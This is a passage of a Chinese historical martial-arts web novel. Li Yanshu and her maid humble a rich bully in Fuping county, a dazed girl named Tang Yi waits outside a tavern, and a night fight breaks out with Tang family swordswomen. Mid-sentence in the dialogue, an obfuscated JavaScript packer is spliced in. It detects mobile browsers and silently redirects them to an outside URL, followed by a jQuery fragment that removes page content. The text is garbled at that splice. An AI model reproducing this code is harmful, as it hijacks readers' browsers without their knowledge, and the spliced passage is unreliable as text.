小少爷长这么大估计也是第一次被人用刀架着脖子,一张小脸吓得惨白,话都说不利索,只听他不断重复着:“你,你……” 跟在小少爷身边的几人也被吓得魂飞魄散,一时之间谁都不敢轻举妄动,生怕这个拿刀架着自家少爷的疯女人手下没个轻重,再伤了自家少爷。 原是个怂包。 李砚书轻笑一声,“骨衣。” 骨衣收回刀,退到李砚书身后站着。 小少爷身边的奴仆见状立刻朝自家少爷围上去,带着人连连后退。几人分工明确,两人检查脖子有没有擦伤,两人扶着小少爷的胳膊,剩下最壮实的两人则是一脸警惕地瞪着李砚书她们。须臾,小少爷似是反应过来了,开始恼羞成怒地大喊:“啊!我爹都没有这么对过我,啊!奇耻大辱!臭丫头,小爷要杀了你!” 说着便要朝骨衣扑去,被手下几人匆忙拦住,咬牙切齿道:“别拦着小爷!小爷今日一定要好好教训那个死丫头!” 闻言,李砚书刚要迈出的步子一顿,道:“嘴巴不干净,本小姐也不介意替你爹教教你。” “混账!你算老几啊你,就敢在这大放厥词!” 小少爷气极,眼睛瞪得老大,脸上青一阵红一阵的。 李砚书转过身,小少爷跟他的跟班们齐齐后退一步。最前面那人握着拳,似是给自己打气道:“你要干什么,我警告你,你们别嚣张啊,知不知道我家少爷是谁。” 李砚书懒得搭理他们,直接道:“骨衣。” 骨衣会意,朝那群人走去。 这次她没有拔刀,最前面那两个壮实的奴仆对视一眼,立马换了副成竹在胸的表情站出来,护在少爷身前。 小少爷见骨衣没有拔刀就敢过来,脸上立刻恢复成以往那副傲慢地样子,慢悠悠地道:“别说小爷没提醒你们,郑风郑雷二人常年习武,身手不凡,待会要是被打死了,可别说小爷我,不怜香惜玉。”顿了顿,他又道:“或者你们也可以选择现在跪下,给小爷磕头认错,小爷大人大量就原谅尔等方才冒犯之罪。” 话落,他身边的几人就附和道:“就是就是,跪下来给我们少爷磕头认错!不然今天你们谁都别想活着走出这里!” “真是不知天高地厚,也不打听打听我家少爷是谁!你们三个乡巴佬听好了,我家少爷就是本县郑大员外的儿子,郑策!郑小少爷!” 另一人接道:“乡巴佬知道是哪个郑吗?说出来怕吓死你们。没错,就是大名鼎鼎的荥阳郑氏,别说是一个小小的富平县,就是放眼整个雍州,也没人敢招惹我们……” 郑策踹了正在说话这人一脚,眉心微蹙,脸色不怎么好。那奴仆立刻噤声,悻悻退到后面。 原来是荥阳郑氏。 李砚书思索了几秒。荥阳郑氏,从秦末时便是著名大族,武朝开国以来,族中青年才俊更是多与皇室联姻,其中最威名显赫的莫过于当今皇帝唯一的姐姐——绥阳长公主。而长公主的第二任驸马就是荥阳郑氏。 李砚书道:“既是荥阳郑氏,想必是断不会做出食言而肥的事吧。” 郑策负手而立,昂首道:“那是自然!” 李砚书道:“好。那我们就好好说道说道,此事先是你出言不逊,骨衣才出手教训——且,没有伤到你。现在你们两个莽夫大汉对她一个小姑娘,是不是有失公允?有失你荥阳郑氏的风范。” 此话一出,激得原本还有些犹豫的郑策脱口而出:“那你说怎么办!” 李砚书等的就是他这句话,立即道:“一对一,输的那方在一炷香内围着这食易楼跑,且边跑边认输,直到香燃尽才可停下。” 郑策几乎是想都没想就同意了,挑眉道:“她要是输了,你们三个就要边跑边喊,我……你叫什么名字?要连名带姓地说输给我郑策大爷,特来认错。” 李砚书道:“渭阳李晗。同理,若是你们输了,就要连名带姓地喊输给李晗女侠,特来认错。” 渭阳李晗? 郑策想了想,没想到有这么一号人,旋即对李砚书道:“一言为定。” “一言为定。” 李砚书看向骨衣,只见原本的两人中有一人撤了回去,留下的那人气势雄浑,身材魁梧,看起来应该是这些人当中身手最好的一个。 郑策突然道:“等等!你先叫她将身上的刀……怎么还有一把剑?一个姑娘家的舞刀弄剑像什么样子。” 素影从李砚书身后探出头,怒道:“与你何关!你管这么多作甚!” 郑策啧一声,皱眉道:“这小娘子也凶,真是有什么主子就有什么样的丫鬟。” 话说回来,他都有些后悔今日出门时没有叫人算一卦了。要是碰上的是三个大男人,他大可以叫人狠狠揍一顿解气,可这……三个姑娘,他郑小爷就算打赢了脸上也没光啊。 骨衣猜到郑策要说什么,也懒得再费口舌,便主动将身上的刀剑卸下交到素影手中,随后赤手空拳迎上郑风。 郑风拳风勇猛有力,每一拳都带着千斤之力,这要是实在砸在人身上,不死都得脱层皮。骨衣与他交了几次手后,便被逼得节节败退。在力量上她确实比不上高出她自身一倍以上的郑风,所以她只能依靠自身优势灵活躲避,争取找到他的弱点,一击制胜。 这么大的动静,自然而然吸引了不少过路人围观,何况这里还是酒楼前面,因而不到一盏茶的功夫,陆陆续续围了几十号人过来看热闹。 李砚书抱臂在一旁静静看着,郑策凑上来,贱嗖嗖地说:“哎呦,这怎么一直在躲啊?这郑风也是不解风情的,这如花似玉的小娘子,怎么能下这么狠的手呢?” 话音刚落,那边郑风扣着骨衣的肩膀将她整个人悬空举起,对着旁边那一堵墙就要砸下。 郑策微微愕然。 李砚书当即皱眉,手瞬间搭上素影抱在臂弯里的剑柄之上。刚要有所动作,千钧一发之际,就在所有人倒吸一口冷气,眼看着郑风就要将人砸在墙上时,只见本被腾空举高的骨衣手腕一转,直接卡住郑风的脖子,同时双脚凌空借力朝郑风背上一蹬,下一秒直接一个倒翻将郑风掀翻在地。 “嘭”的一声,地上尘土飞扬。 刹那间,看戏的众人目瞪口呆。 李砚书收回手,重新抱臂,斜觑了一眼微张着嘴还没回过神来的郑策,学他之前的语气,道:“哎呦,这怎么不躲啊?这骨衣也是,下手没个轻重,怎么能将人摔这么狠呢?” 她正说着,余光里看到一个面容娟丽的姑娘。那姑娘愣愣地站在酒楼锦旆下方,像是在等什么人,对她们这边这般大的动静也没有什么反应。 没等她多想,只听郑策冷哼一声,侧目而视,道:“你!郑风方才定是轻敌,才让你家丫鬟占了便宜!” 闻言,李砚书将注意力转回来。 原本躺在地上的郑风不知何时撑着墙站了起来,或许是因为摔得有些重,他摇摇头,试图清醒一些。 骨衣将人掀翻后趁机滚落到一旁,一只手撑着膝盖喘息。 郑风忍着嘴角的痛意自嘲地笑了一声,没想到今天竟然栽在一个小姑娘手上,下手也忒狠了,自己不过是想吓唬吓唬她,没想到她直接将自己撂倒。若不是自己在紧要关头护住了脖子,说不定这会儿他的脖子与脑袋早已分离。想到这,郑风大吼一声,朝着骨衣的方向猛地冲了过去。 这架势,围观群众下意识地想:“这小姑娘能避开吗?” 谁曾想,那小姑娘不但不避,反而迎头直上! 疯了,疯了,真是疯了! 就在众人难言的目光中,原本要被撞飞的那个小姑娘在空中翻了一圈后稳稳落地。而彪形大汉却踉跄几步,单膝跪在地上,一手撑地一手捂着胸口,下一秒便在所有人惊诧的目光中猛吐了一口鲜血出来。 见吐血了,人群自动退后几是一副想看热闹又不想惹火上身的姿态。郑雷见自己大哥吐血,眼眶都急红了,一个箭步就冲到郑雷身前,大喊道:“大哥!大哥!” 骨衣没再看郑风那边,转身来到李砚书面前行礼,道:“小姐。” 李砚书担心道:“可有受伤?” 骨衣笑道:“没有,小姐安心。” “那就好。”李砚书又问,“那个人怎么样了?” 骨衣道:“断了两根 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许汜心道不好,他八百年才亲自出来巡一次街,没想到竟好死不死碰到这小霸王。虽后槽牙都咬碎了两颗,但面上依旧笑呵呵的,道:“不敢不敢,郑公子说的哪里话。我这不是见这里百姓围作一团,特来看看,看看。” 说着,他的视线飘到了李砚书身上。暗暗打量一眼后,发现此女不管是相貌还是衣着皆是不俗。换做平常他绝不会主动得罪,给自己惹来没必要的麻烦。可今日不是正好撞上了郑策这个小霸王,再一想到方才手下禀报的打架斗殴,便想着先发制人教训了这个小娘子,好卖郑府一个面子。毕竟在雍州,还没有哪家势力能大过荥阳郑氏。 许汜沉下脸,朝李砚书看去,“你是何人呐,竟敢当街纵奴行凶!” 李砚书没说话,全程一副看戏的模样。只觉这荥阳郑氏真厉害,一个无公无职的小公子就敢当街呵斥一县县尉,丝毫不留情面。而这县尉也厉害,被一个小他这么多的晚辈当众呵斥,竟也能做到面不改色,谈笑自然。 郑策皱了皱眉。 他现在巴不得人赶紧走光,最好一个都别留下。 偏偏这个许汜是个没眼力见的,见李砚书一副明显没将他放在眼里的样子,顿时就怒了。郑策也就算了,这个面生的小姑娘算怎么回事儿!所以许汜不仅没走,反而想叫手底下的人将李砚书三人都抓了,好给自己立立威风。 李砚书按住骨衣要拔刀的手,看向郑策,突然就没了和他们继续纠缠下去的耐心,不耐道:“愿赌服输,荥阳郑氏是打算食言不曾?” 此话一出,还没等郑策说什么,许汜就抢着说话了。只听他大声喝道:“大胆!来人呐,给本官拿下这几个胆大包天的贼人!” 随行衙役应声向前。 骨衣扶刀向前震慑。 李砚书面不改色,嗤道:“许县尉空口白牙就说我等是贼人,可有证据?” 许汜道:“尔等先是当街行凶,再是当众口出妄语,诋毁荥阳郑氏名声,不是贼人,又是什么?” 李砚书冷笑一声。没想到只是说了荥阳郑氏一句,居然就被扣上了贼人的罪名,当真可笑。 她道:“你不认识我,没关系,本小姐给你时间去查。让你的人去官驿找昭武校尉窦庑,就说渭阳李小姐找他,劳烦他过来一趟。” 许汜一愣,脑海中竟是想去想昭武校尉是几品? 原本还胸有成竹的许汜脸色就开始变得凝重起来,心头一紧,不敢再轻举妄动。再一看李砚书全程自若,一点都没有普通百姓看到官差时的惧怕和恭维之色,这让许汜越发忐忑。 怎么这天底下倒霉的事儿都叫他碰上了! 先是郑策,再是这一位身份不明却极有可能是某位贵女子的姑娘。许汜恨不能掩面而去,当做这一切都没有发生。 可惜天不遂人愿。 他今日架在这儿,是进也不能进,退也不能退了。许汜轻咳了声,他身边的手下立刻领会,旋即转身离开。 见许汜的人离开,李砚书复将视线放在郑策身上,道:“郑公子,到你了。” 9. 失踪 那衙役离开后并没有第一时间去官驿,而是直接去了县令府。 “你说什么?”程县令陡听衙役的话,手里的茶盏险些翻了。手忙脚乱后,不敢置信地又问一遍,“你再说一遍,那女子自称什么?” 衙役拱手道:“渭,渭阳李小姐。” 程县令倒抽一口气,手在空中抖了抖,下一刻竟站不稳一下跌坐在身后的椅子上。 一旁的管家见状连忙上前,忙道:“主人,主人?” 程县令冷汗涔涔,自言自语道:“渭阳,姓李,还能叫出昭武校尉的名字,住在官驿,那就只能是一个人了。” 管家听得云里雾里,问道:“主人说的是谁?” 许是官家的声音让程县令缓过神来了,只见他直起身,急切地指着那名衙役道:“快,快去官驿找那位昭武校尉,切记,万不可提许县尉要抓人的事。” 衙役也明白过来,正色道:“属下明白。” 等衙役走后,程县令赶紧让管家给自己更衣。 “主人为何如此着急?那渭阳李小姐又是何人?” 这么多年,管家还是第一次见自家主人行事如此慌张。 程县令解开衣领,神色凝重道:“从时间上算,从渭阳来的,还姓李,除了渭阳王之女——李晗,还能有第二个人吗?” 管家惊道:“啊!渭阳王之女?” 程县令道:“渭阳王刚打了胜战,他的女儿在这个时候进京,恐是接诏进京受封。而今人在我富平受辱,此事若不能妥善解决,我这县令怕也是做到头了。” 说到这,他想到什么,忙问管家:“方才那小吏是不是说,郑家小郎也在?” 管家整理衣裳手一顿,道:“是,在。” 程县令当即吩咐:“快,快去,你亲自去,找郑员外,一定要将渭阳王之女与他家小儿的事说清楚。” …… 等程县令带着一干人匆忙赶来时,郑策已经围着食易楼跑起来了。 他一边跑一边喊,“郑策输给李晗女侠,特来认错……” 反观楼前的茶铺里,李砚书气定神闲地在喝茶,素影在一旁侧头数郑策跑了几圈,骨衣则闭眼坐在最里侧。 而窦庑,则负手立于铺前,高大威猛的汉子光是往哪一站,周围百姓的讨论声都少了大半。 许汜躲在一众衙役后面不停擦汗,无比庆幸那会儿没有脑袋发蒙将人扣下。但就没有将人扣下,他也将人得罪的不轻,现下一细想,他恨不能把整张脸都埋到胳膊下去。现在见程县令到来,许汜顿时像看到救星一般,飞快冲到程县令身边,苦道:“县令,你总算来了……” 李砚书听见动静,随意看了一眼,没有动作。 程县令没理许汜,先是朝最近的窦庑拱手一礼,窦庑颔首回礼。程县令又向前几步朝李砚书走去,拱手笑道:“这位就是李小姐吧?早就听闻渭阳王千金颇具其父英姿,今日得见果真名不虚传。” 李砚书起身回礼,轻飘飘地道:“县令客气了。” 言罢,遂又坐下。 程县令面色不改地道:“李小姐既已到富平,那自是该本县令尽地主之谊,好好招待李小姐才是。这茶铺简陋,不如请李小姐移步。” “县令所言极是!” 一道低沉浑厚的声音响起,众人闻声看去——来人正是郑府员外,郑诸义。 郑诸义道:“李小姐远道而来,我等应尽地主之谊,府上已备好美酒佳肴,专为李小姐接风洗尘。” 见郑诸义都对李砚书这般客气,许汜低声询问后来的管家,“这个李小姐究竟是何方神圣?怎么连郑员外都亲自来了?”又见管家急喘着气,也顾不上身份不身份的了,赶紧将人扶住。 管家深呼吸几次后,回道:“回县尉,那是渭阳王之女!” “……”许汜脸上的表情一点点碎掉,他喃喃道:“王爷之女?完了,完了……” 那边,李砚书头也没抬,“接风洗尘就不必了,本小姐也是路过,只是有件事想请教县令大人。” 程县令忙道:“李小姐请问。” 许汜内心狂叫,不好! 然,一息后,他就听李砚书道:“我听人说这食易楼因有十一楼之高,故又名十一楼,只是为何这只有十楼?” 许汜默默擦汗,谢天谢地,阿弥陀佛,心有余悸。 程县令道:“哦,是这样,李小姐有所不知,这食易楼确有十一楼,只是这第十一层,不在天上,而在地下。” 地下?李砚书思索:在地下的一般都是地窖之类的,但观程县令所言,此层楼定非地窖。虽自小就听夫子说中原地广物博,无奇不有,看来今日还真让她碰见了。待他日归家,定要向齐夫子好好讲述一番。 程县令笑道:“正好今日郑员外也在,本县令也就不喧宾夺主了,就让郑员外给李小姐介绍吧。” 李砚书闻言起身,“原来是郑员外,失敬失敬。” 心道:他就是老驿卒口中的郑员外,那郑策也就是他儿子了?李砚书不由得佩服起他来,眼看他家小儿围楼跑,不仅能面不改色邀她入府吃饭,在面对自己问到自家酒楼时,也能沉住气不做声。 郑诸义道:“李小姐客气。李小姐方才问这楼为何只有十楼,听闻不如实见,李小姐何不亲自进去一探究竟?” 李砚书道:“既如此,就劳烦郑员外了。” 郑诸义手一偏,“李小姐请。” 正巧一炷香燃尽,郑策喘着气,还不忘放话道:“小爷说到做到,李晗是吧,今日小爷我认栽,待明日……” “明日你待如何?” “自是再比……过。” 郑策话到一半觉得这声音熟悉非常,定睛看去,竟然是他爹!他用尽全力才克制住要转身拔腿而跑的两条腿,梗着脖子,僵硬又熟悉地束手行礼道:“爹。” 郑诸义恨铁不成钢地冷哼一声,转而对李砚书道:“小儿年少,要是有哪里得罪了李小姐,还请李小姐海涵。” 李砚书不以为意,道:“郑员外严重了,郑公子虽年少,却言而有信,不拘一格。再说郑公子既遵守承诺,跑完一炷香时间,那这件事也就算过去了,本小姐自不会再提。” 郑诸义为人严肃,素来不苟言笑,此时却是笑道:“李小姐明月入怀,襟怀坦荡,我等汗颜。李小姐请!” 郑策倏地抬头,大惊失色。震惊这李小姐是何身份,竟让他爹那张八百年都不会笑一下的贵脸都笑了! 他没再莽撞开口,谨小跟在他爹身侧进楼。 所谓风水轮流转,先前他还嘲讽人家是乡巴佬,不懂食易楼为何只有十楼,结果人家现在就要他爹亲自陪着进来,为她讲解,而他只能灰溜溜跟在后面。 “食易楼,又唤十一楼。确有十一楼,不过这第十一楼,不在天上,而是在地下。故十一楼又叫地一楼。这一层因在地下,四时低温,乃冰沙冷饮绝佳贮存之所。” 李砚书啧啧称奇,却并非是因为郑诸义说的冰沙冷饮,而是因为这里满堂的彩色烛光和腾起的白雾。 五颜六色的烛光和白雾将这一层照得流光溢彩,如梦如幻,似入迤逦仙境。端着琉璃盏,穿着鲜亮衣裙的丫鬟们也似玉一般,动人心魄。再往里走点,白纱微扬,里侧风光似现非现。放眼看去,大堂正中间的圆台上,七八个仙女正在上面翩翩起舞,风姿绰约。 丝竹管弦韵悠扬,歌喉宛转何清越。李砚书抬眼,“浮生”二字映入眼帘。 浮生若梦,人生几何。 此情此景,到也合乎。 两个时辰后,众人再次拥着李砚书出来。 此时已近戌时,楼前两侧门人提着大烛侍候,原本热闹的街上现在只有两三过路人,楼前的茶铺也茶阑人散,闭门收摊了。 正回想着下午热闹喧哗场面的李砚书目光一顿,因为她又瞧见了下午时分就站在酒楼锦旆下的姑娘。两个时辰了,她居然还在站在那里? 程县令顺着她的目光看过去,立即皱眉道:“许县尉。” “县令……” 许汜也瞧见了,顿觉眼前一黑:这位姑奶奶怎么又来了!!! 他唯唯诺诺道:“县令,她身上有迷药,我……” “什么!?” 郑诸义道:“程县令稍安,李小姐稍安。此人虽身上有迷药,但此女神志不清,动作迟缓,只要不靠近就没事。”说完看了管家一眼,管家立刻颔首转向身后仆人,低声耳语了一句。 程县令道:“这姑娘是郑员外什么人?为何久久立于楼前?” 显然,程县令看出了那姑娘的奇怪之处。 正常人看到他们这一群人,都会投来好奇或打量的目光,胆子小点也会避着他们赶紧离开,但这姑娘只是静静立于楼前,既不看人,也不听事。 “县令,李小姐,窦校尉。”郑诸义拱了拱手,意有所指道。 程县令领会,抬手屏退左右。 李砚书平声道:“素影和骨衣是我贴身之人。” 窦庑没吭声,身后的人自觉退下。 见人都退下了,郑诸义才低声道:“……这姑娘名唤唐易,是上任唐家家主唐微,之女。” 此言一出,程县令惊讶道:“唐微之女?本官怎么记得唐微并没有成婚?” 郑诸义道:“县令所记不错,唐微确实没有成婚,此女,是他与其弟子……” 话到这里,剩下的不必再说,在场的人也都明白了。原来是一出只会出现在话本里的禁忌虐恋——师徒情。武朝国风开放,不仅允许男女自由婚嫁,且婚后不合,也可两相合离,各觅良家。因此各类话本子也层出不穷,特别是像《梁祝》《白蛇传》《牛郎织女》这类的情爱话本子,格外受闺阁女子青睐。然即使这般,有关于师徒情的话本子也仍旧在禁书之列,向来不为世人所容。 沉默片刻后,李砚书问道:“方才许县尉说她身上有迷药又是怎么回事?” 许汜往那边看了一眼,低声道:“李小姐有所不知,本县邻县有个唐家镇,镇上之人个个术绍岐黄。家主唐微更是唐家上一辈中的佼佼者,逸群之才,不仅医术了得,那容貌也是一等一的出挑。当年临县数百名女子前往唐家镇,掷果潘安,只为求见唐家家主唐微一面,这件事曾经轰动一时呢。只是那唐微突然放出话来,说他将用一生专研于药道,一生不娶妻生子。就这样,没多久那些姑娘也就相继离开了。” 程县令听完,得出结论,“这姑娘既是唐家的人,那身上携带迷药也就说得通了。” 李砚书若有所思,随即又问道:“这位唐姑娘这里可是……” 她指了指自己的头,郑诸义见状,道:“非也。唐微曾与我说,唐易是误食了某种毒药,以致思维智力停留至三岁稚童。除了唐微,其他人唤她,她都不予理会。” 李砚书朝唐易走近,三步之外停住,试探道:“唐姑娘?唐姑娘?” 诚如郑诸义所言,毫无反应。 李砚书观其颜色,发现除了唇色偏白,其余的皆与正常人无异。转而问郑诸义,“郑员外,那位唐家家主呢?这姑娘午时我便见她在这了,距今相隔四个时辰,既是家主之女,为何到现在还没人来寻?” 据许汜所说,这位唐姑娘应声经常来此,那唐家的人应该早就来了才对。 “唐微他……”郑诸义脸色难看道,“他在一年前就失踪了。” 失踪? 闻言,许汜叹了一声,“这位姑娘也是一年前,开始频繁来我县。每回来,无论刮风还是下雨,往那一站就是一天。若是有人问她,她就只说等人,其余的一概不回。唐家的人起初也来寻,后来见她哪都不去,就来食易楼前站着,就来的越来越晚了,有时甚至两三日才来人寻。” 李砚书皱眉,道:“两三日?那人就一直这么站着?” 许汜点头,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521305|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是啊,就一直站着。” 郑诸义偏头看向唐易,不禁想到昔日好友。年少成名的天子骄子,卓荦超伦,后来更是成为家主,展一腔抱负,后世无忧,却……念及此,他摇摇头,对身旁的管家道:“派去唐家的人回来了吗?” 管家回道:“还没有。昨日夜里下了雨,山路泥泞,估计还要两个时辰。” 一听还要两个时辰,程县令客气道:“李小姐,郑员外,今日天色已晚,不如你们先回去休息。啊,放心,这位唐姑娘本官自会派人守着,直到今夜唐家人过来将其接走。” 郑诸义立刻道:“如此也好。” 他见李砚书没说话,劝道:“李小姐心地善良,博施济众,我代唐易谢过李小姐。只是今夜天色已晚,李小姐舟车劳顿,还请早些回去歇息。” 眼下,这帽子都给她戴好了,她再不走就不合适了。 李砚书没再说什么,就此作别。 她路上问素影和骨衣对此事有何看法。 素影先开口,道:“我先说吧。先不论唐微失踪是天意还是人祸,就论那唐姑娘为何要日日立于楼前?按理说,父亲失踪,做女儿的不应该到处去寻吗?不过唐姑娘情况特殊,不能一概而论。且唐姑娘中毒神志小儿,可恰恰,小孩子是不会骗人的。两县有那么多酒楼,为何唐姑娘只去食易楼前站着?只这一点,就颇为可疑。” 李砚书点点头,眼角一扫,长街旁的房屋大都是两层。一楼作为店铺营生现在都关着门,二楼烛火憧憧,大多数人还没歇息。没有点蜡的楼上,窗户大都支着一条小缝,而还透着光亮的房间,窗户基本都大敞着,李砚书还能隐约听到一阵拨弄算盘珠子的声音。 骨衣道:“的确。还有那郑员外,明显还有事瞒着我们。” “嗯,素影真聪明。”李砚书肯定地点头。 素影抿唇笑了笑,接着道:“还有一点,那位唐姑娘无论是穿着还是打扮,都应是有人用心为其装扮过的。可既是有人用心装扮,又为何还让唐姑娘时常一人出来?这不两相矛盾吗?” 若是家主之女,家主失踪,门内族人民胞物与,不应悉心看护,日日照顾吗?可若是漠不关心,任其自生自灭,不应该第一次失踪时就不管不顾,却又为何每每寻回? 说到这,两人看向李砚书。 李砚书笑而不语,继续往前走。 素影和骨衣相视一眼,默默跟上。 …… 两个时辰后,三人再次出现在这条街上。 骨衣小声道:“我就知道,以小姐的性子,怎么可能就这么稀里糊涂地袖手旁观。” 素影胆子小,有时第一次随李砚书夜间出行,此时正一脸警惕地望向四周,听见骨衣的话,还是不由得点头附和:“嗯嗯嗯!” “看不出呀,骨衣现在这么了解小姐了。”李砚书牵住素影的手,“小姐在,不怕啊。” 素影道:“嗯!” 骨衣道:“等会也不知是何情形,小姐何不让素影在官驿等我们。” 听骨衣要让自己回去,素影连连摇头,眨着一双好看的大眼睛望向李砚书。 李砚书笑道:“素影不会武,还是在我身旁安心些。再说窦校尉也不一定绝对安全,我还是不放心他。” 素影忙不迭点头,道:“嗯嗯嗯!小姐放心,素影不会拖你们后腿的。” 骨衣神色瞬间冷冽下来,手下意识摸上刀柄,“他该死。” 素影还是点头,“嗯嗯嗯!” 李砚书哭笑不得,安抚道:“骨衣,他好歹是六品昭武校尉,你平日里遇上他,不行礼就算了,可不能再对他拔刀相向了。” 看得出骨衣有情绪,可她还是点头道:“是,听小姐的。” 李砚书笑道:“乖。” 这条路三人白日里走过两回,虽现在夜里,却也没有迷路,不到一炷香的时间她们就到了路口。转角处,李砚书隐约听到打斗声,她立即抬手做了个暂停的手势。 那边,一道女声传来:“废物!连个傻子都对付不了。” 三人探头看去,只见五六个统一黑白制服的人呈半包围状围着唐易,个个手上都拿着剑,模样都长得差不多,且都是女子。为首的那人腰间多了一条黑带,手中也无佩剑,看样子应是不会武的。但就论骂人的那股气势,倒是要比旁边那些人要强上许多。 就在李砚书等人看戏这会儿,不曾想骂人的那名女子却倏地朝她们这边看来,面露疑色,压低声音道:“唐家正在处理族中事宜,各位要是路过就请尽快离开,否则……” “否则如何?” 李砚书负手出来,脸上丝毫没有被人发现偷看后的窘迫之色,反而格外惬意,像是与友人闲谈那般,道:“素闻唐家人悬壶济世,颇具盛名,可今日一见……” 她信手数道:“一、二、三、四……不得了,这么多人,还个个手配利刃,欺负她一个手无缚鸡之力的小姑娘。唉,可见世人所传,大都不真呐。” 满月生辉,唐华打量着眼前之人,沉默片刻后,礼貌道:“在下唐家唐华,今夜是奉命前来捉拿家中叛徒唐易,其间缘由不便告知,还请姑娘莫要插手。” 李砚书一怔,问道:“你认识我?” 若不是因为认识她,又怎么会在自己说出那番话后还能礼仪相待,客客气气的? 唐华冷冷道:“不认识。” 李砚书观其神色不似作伪,不免诧异。一开始听她骂人,还以为是脾性暴躁之徒,却没想此人竟能在自己一顿嘲讽后以礼相待,能屈能伸,不简单啊。 她道:“不识啊,那事情就简单多了。” 唐华眉心一蹙,直觉不妙。 果然,下一秒就见李砚书眼都不带眨一下,“骨衣!” 话音刚落,骨衣拔刀冲出,和那六人打成一团。而素影也在骨衣动的那一刹那,转身就跑,利落躲到三人最初偷看的那堵墙后。 10. 夜雨 “你!” 唐华一张脸冷傲的脸扭曲起来,她也没想到这人看着衣饰华贵,气度不俗,却是个不讲理的,一言不合,上来就打! 李砚书笑道:“你什么你,你们六个人呢,我们这边才一个人,说到底还是你们占了我们的便宜呢。” 唐华抽出腰间的软鞭,喝道:“尔等何人?报上名来!” 李砚书乐了,抱臂道:“刚才不是说了吗?不认识。” 唐华冷哼一声,道:“休要嚼字!怎么,敢做不敢当吗?” “哎,你要这么说的话……”李砚书顿了顿,似是犹豫,而后慢慢道,“那我也,不,认,识!” 说完,她就没忍住笑了出来。 还想用激将法激她,殊不知她最不吃的就是这招。 “咻”地一声,鞭子破空而来。 李砚书旋身避闪,鞭尾堪堪擦着衣角划过。 先前她还以为此人不会武,没想到竟是个耍鞭子的。之后就是连密的劈扫撩扫,乍一看还挺唬人,可凌厉迅猛的攻势之下,却全是花里胡哨。得益于此,李砚书还能在百“忙”之中抽空看了眼鞭子。 嗯,鞭子不错。 但好马配好鞍,鞭子也得到会使它的人手中,那才是它的幸事。 俗话说:“鞭是一条绳,全靠缠得清。”软鞭打法讲究纵打一线,横打一扇。通俗来说就是收到手中是一团,抡出去是一片。收回时劲力要柔,要软;打出时要刚,要快。再形象一点,就是收回如虫如鼠,放出如龙如虎。但在气头上的唐华明显忘了这一点,见一连几招下来都没有打中人,她怒不可遏,“无名鼠辈,只会躲吗!” 相比于暴怒的唐华,一直躲闪的李砚书就要显得淡定多了。 面对唐华的挑衅怒骂,她也只是无声笑笑,只不过在鞭子再次劈扫过来时,躲过风头最盛的那下,她不似之前那般继续躲闪,而是出其不意地回身,突然出手一把拽住鞭尾,笑了出来。 “你师傅没告诉你,耍鞭时下盘不能乱吗?” 李砚书说完,拽住尾鞭的那只手骤然一紧,鞭子瞬间从唐华手中飞出。 唐华大惊失色。 鞭子竟被人反夺了过去! 唐华被震得虎口发麻,她被拽地往前踉跄两步,下一刻瞳孔倏地紧缩——鞭子凌空反朝她劈了过来! 唐华下意识纵身一跃,同时她站的那块地砖被鞭子抽出一条淡淡地白色,细看的话还能发现一条浅显的裂缝。甫一落地,就在唐华还震惊于这不知名女子的厉害时,那边的六人已经全部被骨衣放倒。 李砚书闻声看去,赞许地点点头:“不错不错,力道刚刚好。” 不见血,骨衣最后下手时应都是用的刀背。 骨衣收刀入鞘,“谢小姐。” 一直躲在墙后的素影钻了出来,小跑到李砚书面前要去看她的手。李砚书赶紧将右手的鞭子换到左手,摊开右手给她检查。心里却暗道不好,一时手痒没忍住,忘了素影还在。 夜里其实看不太清,但是素影感受到手心处不同于正常体温的滚烫,还有一点点鼓起的感觉,就知道肯定肿了,顿时心疼道:“肯定肿了。小姐疼吗?” 听人话里都带着哭腔了,李砚书笑道:“不疼,明天就好了。” 素影不信,“小姐骗人,都肿了。” 李砚书这边还没安抚好,那边骨衣听到她手肿了,提刀就向唐华走去。 “哎!”李砚书眼尖道,“骨衣,别伤她!” 刀锋堪堪停在唐华脖颈处。 李砚书拍拍素影的手背,温声细语道;“我没事,先问正事啊。” “你说她是叛徒,请问她做了何事呀?”李砚书问。 “你究竟是何人?”唐华咬着牙反问。 骨衣手上一用力,“小姐在问你。” 那六位被骨衣打倒的女子陆续起身,眼见唐华有难,提剑就要再来,只是很快就被李砚书叫住:“哎!各位可别动手啊,看清楚,这次可不是刀背了哦。” 果然,那六人目光齐刷刷落到刀上,一时之间都不敢轻举妄动。 李砚书走向最近的一人,伸手道:“现在,将迷药的解药交出来吧。” “……” 那六人你看我我看你,半晌无言。 似是没想到李砚书第一句竟是要解药,可解药都被方才都吃了,现下哪来的解药给她? 等了片刻,李砚书观其神色,眼角不易觉察地抽了抽,“不会是,没有了吧?” “废话!不提前服解药,早就被那叛徒迷晕了好吧!”唐华冷哼道。 李砚书深吸一口气,转向唐华道:“既然如此,那就只能来问你了。” 即使是被人用刀架着脖子,唐华依旧傲气得很,叫道:“你们究竟是何人,跟那叛徒是何关系?” 李砚书冲她晃手道:“姑娘,醒醒,是我问你,不是你问我。” 素影上前道:“就是就是,我们小姐问你了吗?” 因为李砚书手心肿了,是以连一贯好脾气的素影都变得不客气了起来。 李砚书点点头,终于能问了。 “唐易不是你们家主的女儿吗?怎么会是叛徒呢?” 岂料话音刚落,唐华就大怒道:“一派胡言!竟敢诋毁我唐家前任家主名声,你今日最好将我杀了,不然,我定取尔等性命!” 李砚书无辜道:“这话可不是我说的啊,你认识郑员外吗?这话是他说的。” 唐华一怔。 显然,她没想到这话竟然是从家主昔日好友嘴里说出来的,目光一动,旋即又道:“不可能!郑员外与家主乃是至交好友,怎会说出这种话来败坏家主名誉!” 李砚书奇道:“这就怪了,可这话的确是他告诉我们的,他还说这位姑娘叫唐易,是因为误食了某种毒药,所以才变成了这幅模样。” “胡说,她明明是因为……”说到这,唐华陡然一惊,随即恶狠狠瞪了李砚书一眼,就闭口不言了。 李砚书心道果然有鬼。 这样看来那位唐易姑娘变成这幅模样就不是偶然。 